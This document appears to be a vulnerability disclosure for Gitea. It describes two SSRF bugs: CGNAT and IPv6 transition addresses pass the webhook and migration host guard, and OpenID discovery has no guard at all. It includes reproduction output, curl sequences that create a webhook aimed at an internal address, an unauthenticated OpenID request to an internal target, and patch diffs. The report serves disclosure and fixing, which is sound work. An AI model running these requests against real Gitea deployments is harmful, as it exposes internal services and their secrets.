Gitea: Two SSRF findings

CGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.

NAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with network is unreachable on a stock Linux box.

The wrapping net.Dialer.Control callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.

Reachable sinks

Webhook delivery, services/webhook/deliver.go:

// :321-328
webhookHTTPClient = &http.Client{
    Timeout: timeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},
        Proxy:           webhookProxy(allowedHostMatcher),
        DialContext:     hostmatcher.NewDialContext("webhook", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),
    },
}

Authentication required: any logged-in user via user-level hooks (POST /api/v1/user/hooks) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:

// :268
p, err := util.ReadWithLimit(resp.Body, 1024*1024)

and stored in hook_task.response_content, then rendered on /{owner}/{repo}/settings/hooks/{id}.

Repo migration, services/migrations/http_client.go:27:

DialContext: hostmatcher.NewDialContext("migration", allowList, blockList, setting.Proxy.ProxyURLFixed),

with a pre-flight check at services/migrations/migrate.go:43-87 (IsMigrateURLAllowed). Both layers call the same MatchIPAddr, so the pre-flight does not add coverage for the classifier gap.

History

Residual of CVE-2018-15192. The hostmatcher module landed in PR #17482 (2021) with external as the default. The classifier gap has been present from that PR.

Reproduce

run_poc.sh is the one-shot reproduction. It pulls gitea/gitea:1.26.2, brings up a Docker network on 100.64.0.0/24 with a mock internal service at 100.64.0.2:8080, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.

Expected console output (trimmed):

[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)
  ok  created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL
  internal response captured in hook_task.response_content:
    {"status":200,
     "headers":{"X-Internal-Secret":"CGNAT-INTERNAL-ONLY",
                "Content-Type":"application/json", ...},
     "body":"{\"proof\": \"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\",
              \"client_seen\": \"100.64.0.10\",
              \"secret\": \"do-not-leak-outside-network\"}"}
  ok  headline confirmed: X-Internal-Secret header reflected to webhook owner

[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)
  migrate API returned HTTP 201
  mock log:
    GET /fake.git/info/refs?service=git-upload-pack  from=100.64.0.10
    GET /fake.git/HEAD  from=100.64.0.10
  ok  git smart-HTTP exchange from gitea -> 100.64.0.2 confirmed

[sanity] verify the guard still rejects RFC 1918 / loopback / link-local
  ok  loopback v4   (http://127.0.0.1:8080/)    blocked
  ok  RFC 1918      (http://10.0.0.1:8080/)     blocked
  ok  loopback v6   (http://[::1]:8080/)        blocked
  ok  ULA           (http://[fc00::1]:8080/)    blocked
  ok  link-local v4 (http://169.254.169.254/)   blocked

Boiled down to raw HTTP, the webhook primitive is three calls:

TOKEN=$(curl -s -u attacker:pw -X POST \
  http://localhost:3000/api/v1/users/attacker/tokens \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","scopes":["write:repository","write:user"]}' \
  | sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \
  -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"type":"gitea",
       "config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
       "events":["push"],"active":true}'

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \
  -H "Authorization: token $TOKEN"

The internal target's response is then visible on /{owner}/{repo}/settings/hooks/1, or in the SQLite column hook_task.response_content.

Suggested fix

Add an explicit non-routable prefix list to the external builtin:

--- a/modules/hostmatcher/hostmatcher.go
+++ b/modules/hostmatcher/hostmatcher.go
@@ -3,8 +3,9 @@ package hostmatcher

 import (
 	"net"
+	"net/netip"
 	"path/filepath"
 	"slices"
 	"strings"
 )

+var nonRoutablePrefixes = []netip.Prefix{
+	netip.MustParsePrefix("100.64.0.0/10"),   // CGNAT, RFC 6598
+	netip.MustParsePrefix("64:ff9b::/96"),    // NAT64 well-known, RFC 6052
+	netip.MustParsePrefix("64:ff9b:1::/48"),  // NAT64 local-use, RFC 8215
+	netip.MustParsePrefix("2001::/32"),       // Teredo, RFC 4380
+	netip.MustParsePrefix("2002::/16"),       // 6to4, RFC 3056
+	netip.MustParsePrefix("::ffff:0:0/96"),   // SIIT (deprecated, still routable through translators)
+	netip.MustParsePrefix("::/96"),           // IPv4-compatible (deprecated)
+	netip.MustParsePrefix("2001:db8::/32"),   // documentation
+	netip.MustParsePrefix("198.18.0.0/15"),   // benchmarking
+	netip.MustParsePrefix("192.0.0.0/24"),    // IETF protocol assignments
+	netip.MustParsePrefix("192.0.2.0/24"),    // TEST-NET-1
+	netip.MustParsePrefix("198.51.100.0/24"), // TEST-NET-2
+	netip.MustParsePrefix("203.0.113.0/24"),  // TEST-NET-3
+}
+
+func isNonRoutable(ip net.IP) bool {
+	a, ok := netip.AddrFromSlice(ip)
+	if !ok {
+		return true
+	}
+	for _, p := range nonRoutablePrefixes {
+		if p.Contains(a) {
+			return true
+		}
+	}
+	return false
+}
+
 func (hl *HostMatchList) checkIP(ip net.IP) bool {
 	if slices.Contains(hl.patterns, "*") {
 		return true
 	}
 	for _, builtin := range hl.builtins {
 		switch builtin {
 		case MatchBuiltinExternal:
-			if ip.IsGlobalUnicast() && !ip.IsPrivate() {
+			if ip.IsGlobalUnicast() && !ip.IsPrivate() && !isNonRoutable(ip) {
 				return true
 			}

hostmatcher_test.go currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).

Finding 2: OpenID discovery has no SSRF guard

The bug

routers/web/auth/openid.go:99:

url, err := openid.RedirectURL(id, redirectTo, setting.AppURL)

The thin wrapper at modules/auth/openid/openid.go:36 forwards directly to the package-level function in github.com/yohcop/openid-go. That package keeps a defaultInstance:

// github.com/yohcop/openid-go v1.0.1, openid.go:15
var defaultInstance = NewOpenID(http.DefaultClient)

http.DefaultClient has no transport customization, no Dialer.Control, no IP filtering. openid-go issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.

The form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).

Default exposure

The setting that gates this endpoint is read from the [openid] section of app.ini:

// modules/setting/service.go:268-270
func loadOpenIDSetting(rootCfg ConfigProvider) {
	sec := rootCfg.Section("openid")
	Service.EnableOpenIDSignIn = sec.Key("ENABLE_OPENID_SIGNIN").MustBool(!InstallLock)

It defaults to !InstallLock, so on a fresh container before the install wizard completes the endpoint is enabled. After INSTALL_LOCK=true it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes GITEA__service__ENABLE_OPENID_SIGNIN into [service], where the loader does not read it. Use GITEA__openid__ENABLE_OPENID_SIGNIN=true.)

History

Extends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.

Reproduce

One request, no cookie, no token:

curl -X POST http://localhost:3000/user/login/openid \
  --data-urlencode 'openid=http://INTERNAL:PORT/path'

Captured by the internal target (also shown in run_poc.sh's [poc 3] block):

GET /poc3-openid  from=100.64.0.10
GET /poc3-openid  from=100.64.0.10

Two GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with Accept: application/xrds+xml.

Exfiltration is blind. openid-go parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.

Suggested fix

Wire the hostmatcher into a custom *http.Client and create a dedicated openid-go instance:

--- a/modules/auth/openid/openid.go
+++ b/modules/auth/openid/openid.go
@@ -1,10 +1,28 @@
 package openid

-import "github.com/yohcop/openid-go"
+import (
+	"net/http"
+	"time"
+
+	"code.gitea.io/gitea/modules/hostmatcher"
+	"code.gitea.io/gitea/modules/proxy"
+	"github.com/yohcop/openid-go"
+)

 var (
 	nonceStore     = openid.NewSimpleNonceStore()
 	discoveryCache = newTimedDiscoveryCache(24 * time.Hour)
+	instance       = openid.NewOpenID(&http.Client{
+		Timeout: 30 * time.Second,
+		Transport: &http.Transport{
+			Proxy: proxy.Proxy(),
+			DialContext: hostmatcher.NewDialContext("openid",
+				hostmatcher.ParseHostMatchList("openid", hostmatcher.MatchBuiltinExternal),
+				nil, nil),
+		},
+	})
 )

 func Verify(fullURL string) (id string, err error) {
-	return openid.Verify(fullURL, discoveryCache, nonceStore)
+	return instance.Verify(fullURL, discoveryCache, nonceStore)
 }

 // RedirectURL redirects browser
 func RedirectURL(id, callbackURL, realm string) (string, error) {
-	return openid.RedirectURL(id, callbackURL, realm)
+	return instance.RedirectURL(id, callbackURL, realm)
 }

openid.Normalize does not perform HTTP and does not need to change. Once Finding 1 is fixed, this MatchBuiltinExternal instance picks up the new prefix coverage automatically.

POC script

run_poc.sh